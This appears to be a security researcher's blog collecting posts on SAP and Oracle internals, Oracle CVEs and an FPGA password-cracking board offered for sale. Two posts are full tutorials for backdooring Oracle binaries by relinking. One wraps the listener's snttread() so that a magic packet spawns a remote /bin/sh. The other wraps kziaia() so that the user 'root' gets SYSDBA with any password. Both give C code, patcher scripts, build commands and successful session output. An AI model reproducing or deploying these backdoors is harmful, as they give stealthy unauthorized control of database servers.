(A paper about SAP plain-text passwords in network packets).
From this paper I got information that, by default, all network packets between SAP server and SAPGUI are not encrypted, rather compressed. SAPGUI also contain an option (TDW_NOCOMPRESS) to turn compression off, then we can use wireshark to see user's plain-text password.
But what really amazed me is that a function which is in charge of data compression, contain call to rand() C stdlib function (in BitBufInit() function, which is, in turn, called from CsRComprLZH()). That is the reason, why SAP's server compressed answers are always different. This is true for at least version 701 patch 32.
They probably emulate encryption?
Almost all good computer programs contain at least one random-number generator. (fortune file in plan 9 OS)
I never tried any of these events, but these sounds really great.
Got this list from 11g (Linux)...
cat oraus.msg | grep simulate 10059, 00000, "simulate error in logfile create/clear" 10066, 00000, "simulate failure to verify file" 10209, 00000, "enable simulated error on control file" 10214, 00000, "simulate write errors on control file" / A level of 1-9 simulates write errors on physical blocks 1-9. 10215, 00000, "simulate read errors on control file" / No error 10214 will be simulated unless event 10209 is also set to enable 10229, 00000, "simulate I/O error against datafiles" // event is set, clients corresponding to the level simulate block 10237, 00000, "simulate ^C (for testing purposes)" 10243, 00000, "simulated error for test %s of K2GTAB latch cleanup" // *Action: level specifies number of IOs after which an error will be simulated 10284, 00000, "simulate zero/infinite asynch I/O buffering" 10327, 00000, "simulate ORA-00235 error for testing" 10329, 00000, "simulate out-of-memory error during first pass of recovery" 10331, 00000, "simulate resilvering during recovery" // *Action: Set this to trigger obj hash table reorg to simulate large number 10362, 00000, "simulate a write error to take a file offline" 10410, 00000, "trigger simulated communications errors in KSXP" // *Action: set this event to simulate communications errors to clients 10413, 00000, "force simulated error for testing purposes" 10414, 00000, "simulated error from event %s level %s" // simulates the bitmap index DML of previous releases). // simulate a reverse index with columns marked DESC. 14528, 00000, "simulated crash during drop table optimization" // *Action: The level controls which ASM errors are simulated. // *Action: The level controls which ASM errors are simulated. // *Action: The level controls which ASM errors are simulated. 16048, 00000, "enable simulated error on archive log write" 16049, 00000, "simulated error on archive log write" // *Cause: I/O error returned for a simulated archival failure during 16077, 00000, "simulate network transmission error" 16141, 00000, "enable simulated archive log error" 16142, 00000, "simulated archive log error" // *Cause: Error returned for a simulated archival failure during 16144, 00000, "simulate RFS error while terminal recovery in progress" 16149, 00000, "enable simulated ARCH RAC archival testing" 16158, 00000, "simulated failure during terminal recovery" 16410, 00000, "enable simulated LGWR netslave infinite wait" // *Cause: Causes the LGWR to wait indefinitely to simulate network 16418, 0000, "Event to simulate idle RFS process in Physical Standby" // to simulate idle RFS process in Physical Standby 19737, 00000, "simulate read-only database connection to execute sql query" // *Action: event used to simulate site failure for parallel push testing. 26532, 00000, "replication parallel push simulated site failure" 27051, 00000, "I/O error (simulated, not real)" // *Cause: this is just a simulated error (not a real one), additional 30011, 00000, "Error simulated: psite=%s, ptype=%s" 33271, 00000, "simulated paging error" // and testing phase, to simulate memory pressure conditions.
Nmap is a powerful tool, not only for scanning a remote host for open ports, by also for random stalking for something in the Internet.
For experiment, I and my friends ran nmap with -iR 0 -p1521 options, meaning checking for open port 1521 on randomly generated IP addresses, infinitely.
Result: one working Oracle TNS Listener among nearly 69,000 random IP addresses.
Here is statistics on listener versions and operation systems.
First fact:
Oracle RDBMS use its own memory manager.
There're a lot of functions on several layers which do allocation and deallocation of memory chunks.
And as I wrote once upon a time, almost each among of these functions beside block size also takes small human-readable commentary about what this memory allocated for and where.
Often, this commentary consisted of two strings: function name who allocate block and data structure name. For example "kksol : kkscuf".
Surprisingly, I never seen any other product where this method is used, except of Windows NT kernel.
Bonuses of this method are: 1) it is extremely simple to see a statistics, who allocated a lot of blocks and what they hold? 2) Memory leaks detection. Just before shutdown, look on open blocks list and see, what function forgot to deallocate block.
Second fact:
Oracle RDBMS is rich of manifold data structures. In fact, I could even call this "object-oriented" programming, but not in the sense of programming language like C++, but in essence, just like Windows NT architecture (Oracle kernel and Windows NT both written in C language).
While trying to understand some piece of code like:
if (*(*(*(arg_0+0x123)+0xABC)+0x678)==constant) do_something()
... we can see here that arg_0 is actually pointer to some structure which holds another structure inside of it which is, in turn, hold another. It is thrice nested structure.
I can use my generic tracer tool to check arguments state of calling function, but dumping just address of structures is useless. I can dump some data to which each argument is pointing, but this is useless too.
But I remember about Oracle memory manager. What I can do is to intercept all memory allocation and memory deallocation functions calls. At this step, my tracer will be able to hold a table what is allocated, addresses of each block, its size and human-readable comment.
At this point, when some function called and its argument is pointer to known allocated block in memory, my tool is able to print human-readable comment. Not very practical, but better than just raw address value.
What my tool is also can do is to scan each block for pointers to another known memory blocks.
Algorithm is simple: 1) collect information about memory allocations and clear each block after allocation: we need this to get rid of mess induced by previous memory allocations; 2) when function of interest is called, check, if its arguments are pointers to known memory blocks; 3) scan each memory block in limits of its size (we know blocks' sizes too!); 4) if at some offset there are pointer to another memory block - add it to our queue and process it too; 5) create report...
There're a lot of information, many Oracle functions use very complex data structures. I choose GraphViz to render this information.
Here is an example. A function ctcpre1() is used while the process of handling statements like "CREATE TABLE". But not the only this function. We know that it has only one argument.
I run my tool attached to Oracle process. I type "CREATE TABLE something" in sqlplus and ctcpre1() function was called. Here is graph rendered in GraphViz.
(click on picture to see large version)
The only argument of ctcpre1() function was a pointer to a block called "ctxdef:kksLoadChild": it is on the left side. Its name meaning that its data type is "ctxdef" and it was allocated in kksLoadChild() function.
At offset +34 of this block there are a pointer to another block called "ctcdef:prsctc". This block was created in prsctc() function. prs* functions probably related to parsing procedures.
Et cetera. Something is visible, something is not. If block is rendered as empty, it was filled only by zeroes. Holes of zeroes are skipped too. This information is complex too, but it can give us a lot!
The utility which is able to produce such information is modified generic tracer, but it is not very stable to publish it yet.
I can use this method not only with Oracle, but with any other software code: I'll not have memory blocks human-readable comments, but it is anyway better than nothing
Joshua J. Drake wrote metasploit plugin based on CVE-2009-1979 vulnerability discovered by me.
http://www.metasploit.com/modules/exploit/windows/oracle/tns_auth_sesskey
CVE-2010-0071 discovered by me was patched in CPUjan2010:
Here is PoC (Python script). It is not full exploit, what it do is: while running on 11.1.0.7.0 win32, nsglvcrt() Listener function attempt to allocate huge memory block and copy *something* to it.
TID=3052|(1) MSVCR71.dll!malloc (0x4222fc5) (called from 0x438631 (TNSLSNR.EXE!nsglvcrt+0x95)) TID=3052|(1) MSVCR71.dll!malloc -> 0x2530020 TID=3052|(0) TNSLSNR.EXE!__intel_fast_memcpy (0x2530020, 0, 0x4222fc4) (called from 0x438647 (TNSLSNR.EXE!nsglvcrt+0xab))
(addresses are for TNS Listener 11.1.0.7.0 win32 unpatched)
If I correct, nsglvcrt() function is involved in new service creation.
(This is second part. Read first part of my experiment here.)
As I wrote before, TNS Listener can be easily modified too.
This time I decide to modify function which receive data on TCP/IP channel: snttread().
It's located in sntt.o file which is, in turn, located in libntcp11.a library.
The function is extremely simple, it can be said, it is just wrapper for recv() in Linux and for WSARecv() in Windows.
As I did before, I renamed function name in sntt.o from snttread to Snttread: I capitalized first symbol.
Now here is my wrapper function:
#include <stdio.h>
#include <spawn.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <unistd.h>
extern int Snttread (int fd, int buf, int buflen, int d);
int snttread (int fd, int buf, int buflen, int d)
{
int r;
char *name[2];
char *envp[] = { NULL };
pid_t pid;
// do read
r=Snttread (fd, buf, buflen, d);
// compare buf start for magic word presence
if (memcmp (buf, "/bin/sh", 7)==0)
{
// connect socket to stdin/stdout/stderr of process to be runned
dup2 (fd, 0);
dup2 (fd, 1);
dup2 (fd, 2);
// spawn /bin/sh
name[0]="/bin/sh";
name[1]=NULL;
pid=getpid();
posix_spawn(&pid, name[0], NULL, NULL, name, envp);
// wait for /bin/sh termination
wait(NULL);
// let caller think we do not received anything
return 0;
}
else
return r;
};
What is going on here: if packet received contain some magic word, we spawn /bin/sh process.
Magic word in my case is "/bin/sh" - this is just my sense of humor.
If magic word is somewhere in the middle of received packet, backdoor will not be opened, obviously because memcpy() looking for it at the begin of packet.
As in past, I also prepared Python script to patch original sntt.o file:
import os, glob, mmap, sys
# replace all "snttread" strings in file to "Snttread"
pattern = "snttread"
fp = open(sys.argv[1], 'r+')
mm = mmap.mmap(fp.fileno(), os.stat(fp.name).st_size)
addr = 0
while addr != -1:
addr = mm.find(pattern, addr)
if addr != -1:
print "patching at addr=", addr
mm[addr] = "S"
mm.close()
fp.close()
Let's gather things together.
Fetch original sntt.o file from libntcp11.a library:
[oracle@localhost ~]$ ar -x $ORACLE_HOME/lib/libntcp11.a sntt.o
Make backup:
[oracle@localhost ~]$ cp sntt.o sntt.o.bak
Patch it:
[oracle@localhost ~]$ python sntt-o-patcher.py sntt.o patching at addr= 732 patching at addr= 4882
Addresses are the places where strings were changed.
Put patched object file back:
[oracle@localhost ~]$ ar -r $ORACLE_HOME/lib/libntcp11.a sntt.o
Compile our wrapper:
[oracle@localhost ~]$ gcc -c sntt_wrapper.c
Put it to library too:
[oracle@localhost ~]$ ar -r $ORACLE_HOME/lib/libntcp11.a sntt_wrapper.o
Relink all:
[oracle@localhost ~]$ relink all
After relinking, at least two binaries will contain our code: oracle main binary and libclntsh.so.11.1 dynamic library: last one is loaded by tnslsnr.
Run TNS Listener (ORACLE_HOME and ORACLE_SID environment variables must be set correctly):
[oracle@localhost ~]$ tnslsnr
I didn't have success with telnet. So I used netcat, it works.
Run it and type "/bin/sh". Wow, you already in. Here I also type "uname -a" and "whoami":
[oracle@localhost ~]$ nc localhost 1521 /bin/sh uname -a Linux localhost.localdomain 2.6.18-164.el5 #1 SMP Thu Sep 3 03:33:56 EDT 2009 i686 i686 i386 GNU/Linux whoami oracle
tnslsnr process is running under "oracle" account, so, spawned /bin/sh process inherited this too.
What was written to listener.log?
20-JAN-2010 12:16:05 * 12502 TNS-12502: TNS:listener received no CONNECT_DATA from client
Well, it is just because after /bin/sh termination, snttread() function returned zero, meaning: nothing was received.
Nothing more in log files.
"So it goes" (c) Kurt Vonnegut
P.S. This was checked in 11.1.0.7.0 Linux x86 only.
I'm not sure, if this can be called real rootkit, but I hope so.
The fact UNIX Oracle RDBMS binaries are linking from .o files at installation and at each patching process, give us new way to modify it.
We can use conventional GCC compiler and GNU linker.
Let's see, if we can modify main Oracle binary in such way it will contain hole for remote attacker.
Can we add a (very) invisible superuser account?
Yes.
By patching kziaia() function, which do authorization, check password, etc.
The function is stored in kzia.o object file which is, in turn, stored in libserver11.a library.
It takes on input some special structure contain username and other information.
Username is right at +0 offset from structure start.
Obviously, we can't replace this function (legal users need to login too and their incorrect passwords must be checked), but rather we make wrapper function.
Let's take original kzia.o file and rename kziaia function inside it to something different: using binary editor.
In my case, I renamed it to Kziaia, e.g., I capitalize first symbol.
Now let's write our own kziaia() function implementation.
What it will do: check for some special username ("root") and if it so, turn SYSDBA global flag in PGA and return success (e.g., user have a right to login and password is correct).
If username is not "root", let's call original kziaia() function by calling Kziaia() with capital first symbol in name.
Since we are now in Oracle low-level environment, we can even write debug information into trace files by calling ksdwra() function, it behaves as printf().
Here we are also able to allocate memory by calling Oracle memory manager's functions, even raise ORA- errors, but I do not have any idea yet how to make use of it.
extern Kziaia (char* buf); // original function extern void ksdwra (const char * fmt, ...); // writer to alert_.log extern int kzspga_; // contain SYSDBA flag int kziaia (char *buf) { int Kziaia_result; ksdwra ("kziaia (%s)", buf); // write this to alert_ .log // is username in struct is "root"? if (buf[0]=='r' && buf[1]=='o' && buf[2]=='o' && buf[3]=='t' && buf[4]==0) { ksdwra ("returning 0"); kzspga_|=2; // set SYSDBA flag *(buf+0x150)=6; // must be 2 for local login success return 0; } else { ksdwra ("calling original kziaia()"); Kziaia_result=Kziaia (buf); ksdwra ("original kziaia -> %d\n", Kziaia_result); return Kziaia_result; }; };
Nothing special at all. One more thing is that input buffer modified slightly - this value will be checked after kziaia() call inside of kpolnb() function.
Please note that 0x150 offset is different in 11.2 Linux x64 (0x178).
I also wrote small Python script to patch kzia.o file automatically:
import os, glob, mmap, sys
# replace all "kziaia" strings in file to "Kziaia"
pattern = "kziaia"
fp = open(sys.argv[1], 'r+')
mm = mmap.mmap(fp.fileno(), os.stat(fp.name).st_size)
addr = 0
while addr != -1:
addr = mm.find(pattern, addr)
if addr != -1:
print "patching at addr=", addr
mm[addr] = "K"
mm.close()
fp.close()
Let's try to make all things working on my fresh Linux x86 Oracle 11.2 installation.
Fetch kzia.o from libserver11.a library using ar archiver:
[oracle@localhost ~]$ ar -x $ORACLE_HOME/lib/libserver11.a kzia.o
Make backup:
[oracle@localhost ~]$ cp kzia.o kzia.o.original
Patch it:
[oracle@localhost ~]$ python kzia-o-patcher.py kzia.o patching at addr= 8837 patching at addr= 49100
Values are offsets where patcher replaced "kziaia" strings to "Kziaia".
Put it back:
[oracle@localhost ~]$ ar -r $ORACLE_HOME/lib/libserver11.a kzia.o
Compile our own function implementation using GCC compiler:
[oracle@localhost ~]$ gcc -c kzia_wrapper.c
Place it to libserver11.a file too, so linker can find it and link.
[oracle@localhost ~]$ ar -r $ORACLE_HOME/lib/libserver11.a kzia_wrapper.o
Relink all binaries:
[oracle@localhost ~]$ cd $ORACLE_HOME/bin [oracle@localhost bin]$ ./relink all
Now our C code is compiled into main Oracle binary. Let's test it.
Start database and connect to it via network. Use "root" as login and any password (exactly: any password).
C:\oracle\client-11.1\bin>sqlplus.exe root@orcl as sysdba
SQL*Plus: Release 11.1.0.6.0 - Production on Tue Jan 19 05:48:43 2010
Copyright (c) 1982, 2007, Oracle. All rights reserved.
Enter password:
Connected to:
Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options
SQL> select user from dual;
USER
------------------------------
SYS
SQL> SELECT sys_context('USERENV', 'SESSION_USER') FROM dual;
SYS_CONTEXT('USERENV','SESSION_USER')
--------------------------------------------------------------------------------
SYS
What our function wrote to alert_orcl.log?:
Tue Jan 19 05:48:43 2010 kziaia (root) returning 0
Well, this solution is probably not very stable, it was not fully tested at all.
I modified successfully 11.1 and 11.2 Linux x86.
It will not work if you attempt to login as "root" locally (you'll got ORA-600 error), because "6" value is not correct for this operation, there must be "2".
Also, in fact, kziaia() function doing much more things and by bypassing it, there're must be other yet unknown gotchas.
As you can clearly see, this modification can be made automatically by some special script.
Now how to detect its presence in working system?
Not an easy question.
Of course, backdoor username can be changed, ksdwra() calls removed, files renamed, etc.
Check kziaia() function for integrity? Well, it is not a single place there responsible for login. In fact, before I decided to work with kziaia(), I found few other places to patch.
We could try to enumerate all .o files in .a libraries and compare all them with "known and good files" list, but they are very often added by Oracle in new patches (and changed as well).
If I'm correct, this method do not leave any trace in database or SGA memory.
"So it goes" (c) Kurt Vonnegut
P.S. TNS Listener can be modified by relinking too.
P.P.S. How to ensure you do not have any modified binary files? Reinstall Oracle base installation + patchset + patches you need.
For those who want to research more about CVE-2009-1979 (CPUoct2009) buffer overflow vulnerability, here is simple Python script to hit memcpy() inside of kpoauth() function, which result buffer overflow.
This script attempt to login into Oracle RDBMS by sending two DTYAUTH packets. First call kpogsk() function ("generate session key") (OPI call 0x76) and second call kpoauth() function (OPI call 0x73) (which check AUTH_SESSKEY and AUTH_PASSWORD from client). This script attempt to send string consisted of 200 'x' symbols as AUTH_SESSKEY value.
In Oracle RDBMS win32 version 10.2.0.2 unpatched, in function kpoauth(), first we see a call to kpzgkvl() at 0x01027700 (kpoauth()+0x488) which fetching values from DTYAUTH packets, then we see a call to __intel_fast_memcpy() at 0x01027715 (kpoauth()+0x49d), which copy this value into stack, where only 98 bytes reserved for it.
I never research more on that, but (if I'm correct: I may not), for successful exploitation, kpoauth() need to be finished correctly without errors. Does it mean AUTH_SESSKEY and AUTH_PASSWORD need to be correct? Not sure. Another note is that these string lengths cannot be longer than 255 symbols, because DTYAUTH packet reserve only byte value for string length (not sure here again).
The board I have programmed for Oracle RDBMS passwords brute-force operation is Altera PCI Express Development Kit, Stratix II GX Edition, here is full specification on Altera website.
The board is in used condition, I got it on ebay.com.
Programmed by my design, it is capable to search all 8-symbol alphanumerical (considering first password symbol A-Z) SYS passwords for 10 hours, providing nearly 100 millions passwords/hashes per second.
There're no working interface yet: I do not think, web-interface is very comfortable, so by customer's request, possible options are: 1) connecting to Ethernet port and working via HTTP protocol with simple Perl or Python scripts on user's side; 2) connecting board to PCIe computer bus and working via Windows/Linux driver; 3) connecting board to USB port via board JTAG interface using Altera USB-blaster.
Price is USD 1500. Any questions -> dennis@conus.info
Another my board connected directly to Internet for demonstration purproses is accessible here and small article about it is here.
Recent comments
4 weeks 2 days ago
5 weeks 6 days ago
5 weeks 6 days ago
6 weeks 1 day ago
7 weeks 59 min ago
7 weeks 1 day ago
7 weeks 1 day ago
7 weeks 2 days ago
7 weeks 3 days ago
8 weeks 1 day ago